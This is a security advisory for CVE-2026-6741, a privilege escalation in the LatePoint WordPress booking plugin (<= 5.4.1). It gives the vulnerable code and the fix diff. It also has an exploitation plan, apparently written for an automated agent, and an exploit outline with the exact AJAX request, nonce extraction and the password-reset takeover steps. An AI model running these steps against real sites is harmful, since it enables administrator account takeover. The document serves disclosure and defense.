LatePoint <= 5.4.1 - Authenticated (Agent+) Privilege Escalation to Administrator via 'connect-customer-to-wp-user' Ability
Description
The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 5.4.1. This is due to a missing authorization check in the execute() method of the connect-customer-to-wp-user ability, which only requires the customer__edit capability granted to the latepoint_agent role by default, without verifying whether the target WordPress user ID belongs to a privileged account. This makes it possible for authenticated attackers with the latepoint_agent role to link any LatePoint customer record to an administrator's WordPress account and subsequently reset the administrator's password via the normal customer password-reset flow, resulting in full site takeover.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v5.4.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-6741 - LatePoint Privilege Escalation ## 1. Vulnerability Summary The **LatePoint** plugin (<= 5.4.1) contains an improper privilege management vulnerability in its "Ability" system. Specifically, the `latepoint/connect-customer-to-wp-user` ability allows user…
Show full research plan
Exploitation Research Plan: CVE-2026-6741 - LatePoint Privilege Escalation
1. Vulnerability Summary
The LatePoint plugin (<= 5.4.1) contains an improper privilege management vulnerability in its "Ability" system. Specifically, the latepoint/connect-customer-to-wp-user ability allows users with the customer__edit capability (assigned to the latepoint_agent role by default) to link any LatePoint customer record to an arbitrary WordPress user ID.
The LatePointAbilityConnectCustomerToWpUser::execute() method in lib/abilities/customers/connect-customer-to-wp-user.php lacks a check to prevent linking to high-privileged WordPress users (like administrators). Once linked, an attacker can use the LatePoint customer password reset flow to change the password of the linked WordPress administrator account, leading to full site takeover.
2. Attack Vector Analysis
- Endpoint: WordPress AJAX endpoint
/wp-admin/admin-ajax.php. - Action:
latepoint_route_call(The standard router for LatePoint abilities). - Vulnerable Ability:
latepoint/connect-customer-to-wp-user. - Authentication Required: Authenticated user with
latepoint_agentrole (or higher). - Payload Parameters:
route_name:latepoint/connect-customer-to-wp-user(Internal route for abilities).customer_id: ID of the LatePoint customer record to modify.wp_user_id: ID of the WordPress administrator (usually1).
- Nonce: Required. Typically localized in the
latepoint_helperJS object asnonce.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.phpwithaction=latepoint_route_call. - Routing: LatePoint's AJAX router identifies the requested ability:
latepoint/connect-customer-to-wp-user. - Authorization: The ability class
LatePointAbilityConnectCustomerToWpUser(inlib/abilities/customers/connect-customer-to-wp-user.php) defines:
The system verifies the current user hasprotected function configure(): void { $this->permission = 'customer__edit'; // Default for agents }customer__edit. - Execution: The
execute()method is called withargscontainingcustomer_idandwp_user_id:public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); // ... (check if exists) $wp_user_id = (int) $args['wp_user_id']; // ... (check if WP user exists) $customer->wordpress_user_id = $wp_user_id; // SINK: No check on $wp_user_id roles $customer->save(); // ... } - Privilege Escalation: The LatePoint customer record is now tied to the WP Admin. Password reset requests for that customer email will now update the credentials of the WP Admin account.
4. Nonce Acquisition Strategy
LatePoint localizes its nonces and helper data in the WordPress admin dashboard for logged-in users (Agents/Admins).
- Identify Trigger: The
latepoint_agentuser can access the LatePoint backend atwp-admin/admin.php?page=latepoint. - Navigation: Use
browser_navigateto the LatePoint dashboard as the Agent user. - Extraction: Use
browser_evalto extract the nonce from thelatepoint_helperobject.- JS Variable:
latepoint_helper.nonce
- JS Variable:
- Verification: The script is usually enqueued on all LatePoint admin pages.
5. Exploitation Strategy
Step 1: Link Customer to Admin
Request:
- Tool:
http_request - Method: POST
- URL:
{{base_url}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=latepoint_route_call &route_name=latepoint/connect-customer-to-wp-user &_wpnonce={{extracted_nonce}} &customer_id={{target_customer_id}} &wp_user_id=1
Step 2: Password Reset (Conceptual)
Once linked, the attacker triggers a password reset via the LatePoint customer login form (typically at a frontend page containing the [latepoint_customer_login] shortcode or the default booking flow). Resetting the password for the customer's email will update the password for WP User ID 1.
6. Test Data Setup
- WordPress Admin: Ensure a user with ID
1exists (default). - LatePoint Agent:
wp user create attacker attacker@example.com --role=latepoint_agent --user_pass=password
- LatePoint Customer:
- LatePoint customers are stored in
wp_latepoint_customers. Ensure at least one customer exists. wp eval "oc = new OsCustomerModel(); oc->set_data(['first_name' => 'Victim', 'last_name' => 'Customer', 'email' => 'victim@example.com']); oc->save(); echo oc->id;"(Capture this ID).
- LatePoint customers are stored in
- Plugin Settings: Ensure LatePoint is activated.
7. Expected Results
- HTTP Response: The
latepoint_route_callshould return a JSON object containing the serialized customer data, wherewordpress_user_idis now1.- Example:
{"status": "success", "customer": { "id": "X", "wordpress_user_id": "1", ... }}
- Example:
- Database Change: The
wordpress_user_idcolumn in thewp_latepoint_customerstable for the target customer row should be updated to1.
8. Verification Steps
- Check Meta via WP-CLI:
wp db query "SELECT wordpress_user_id FROM wp_latepoint_customers WHERE id = {{target_customer_id}};" - Verify Linking: Verify that the output of the query is
1. - Role Check (Post-Reset): If the password reset is performed, verify the attacker can log in as the user with ID 1 using the new password.
9. Alternative Approaches
If latepoint_route_call requires a different nonce or the routing is blocked:
- Direct Controller Call: Check if
OsCustomersControllerhas a direct action that wraps this ability. - In-Place Update: Check if
OsCustomersController::updateallows passingwordpress_user_iddirectly in theparams['customer']array, which might be handled by the same underlying model without validation. - Frontend Booking: If the Agent can "edit" a customer during a manual booking, check if the
wp_user_idfield can be injected into the update request during that flow.
Summary
The LatePoint plugin for WordPress (<= 5.4.1) lacks proper authorization checks when linking LatePoint customer records to WordPress user accounts. Authenticated attackers with the 'latepoint_agent' role can exploit this to associate a customer record they control with a high-privileged WordPress user ID (such as an administrator), allowing them to reset the administrator's password through the LatePoint customer password-reset flow and gain full site control.
Vulnerable Code
// lib/abilities/customers/connect-customer-to-wp-user.php public function execute( array $args ) { $customer = new OsCustomerModel( (int) $args['customer_id'] ); if ( $customer->is_new_record() ) { return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] ); } $wp_user_id = (int) $args['wp_user_id']; if ( ! get_userdata( $wp_user_id ) ) { return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] ); } $customer->wordpress_user_id = $wp_user_id; if ( ! $customer->save() ) { return new WP_Error( 'save_failed', __( 'Failed to link customer to WordPress user.', 'latepoint' ), WP_DEBUG ? [ 'errors' => $customer->get_error_messages() ] : [ 'status' => 422 ] ); } return $this->serialize_customer( new OsCustomerModel( $customer->id ) ); }
Security Fix
@@ -42,11 +42,23 @@ return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] ); } - $wp_user_id = (int) $args['wp_user_id']; - if ( ! get_userdata( $wp_user_id ) ) { + $wp_user_id = (int) $args['wp_user_id']; + $target_user = get_userdata( $wp_user_id ); + if ( ! $target_user ) { return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] ); } + // Only allow linking to non-privileged WP accounts using an allowlist of roles. + $allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ]; + $user_roles = (array) $target_user->roles; + if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) { + return new WP_Error( + 'privileged_user', + __( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ), + [ 'status' => 403 ] + ); + } + $customer->wordpress_user_id = $wp_user_id; if ( ! $customer->save() ) { return new WP_Error(
Exploit Outline
1. Access the WordPress admin dashboard with a user account assigned the 'latepoint_agent' role. 2. Obtain the required LatePoint nonce from the localized JavaScript variable 'latepoint_helper.nonce'. 3. Identify the WordPress user ID of the target administrator (typically 1) and the LatePoint internal ID of a customer record (which the attacker can create or find). 4. Send a POST request to '/wp-admin/admin-ajax.php' with 'action=latepoint_route_call', 'route_name=latepoint/connect-customer-to-wp-user', 'customer_id=[TARGET_CUSTOMER]', and 'wp_user_id=[ADMIN_ID]'. 5. Once the customer record is linked to the administrator, navigate to the LatePoint customer login page or frontend booking flow and initiate the 'forgot password' process for the email address associated with the attacker-controlled customer record. 6. Reset the password via the link received. Due to the link established in step 4, this process updates the password for the WordPress administrator account, enabling a full site takeover.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.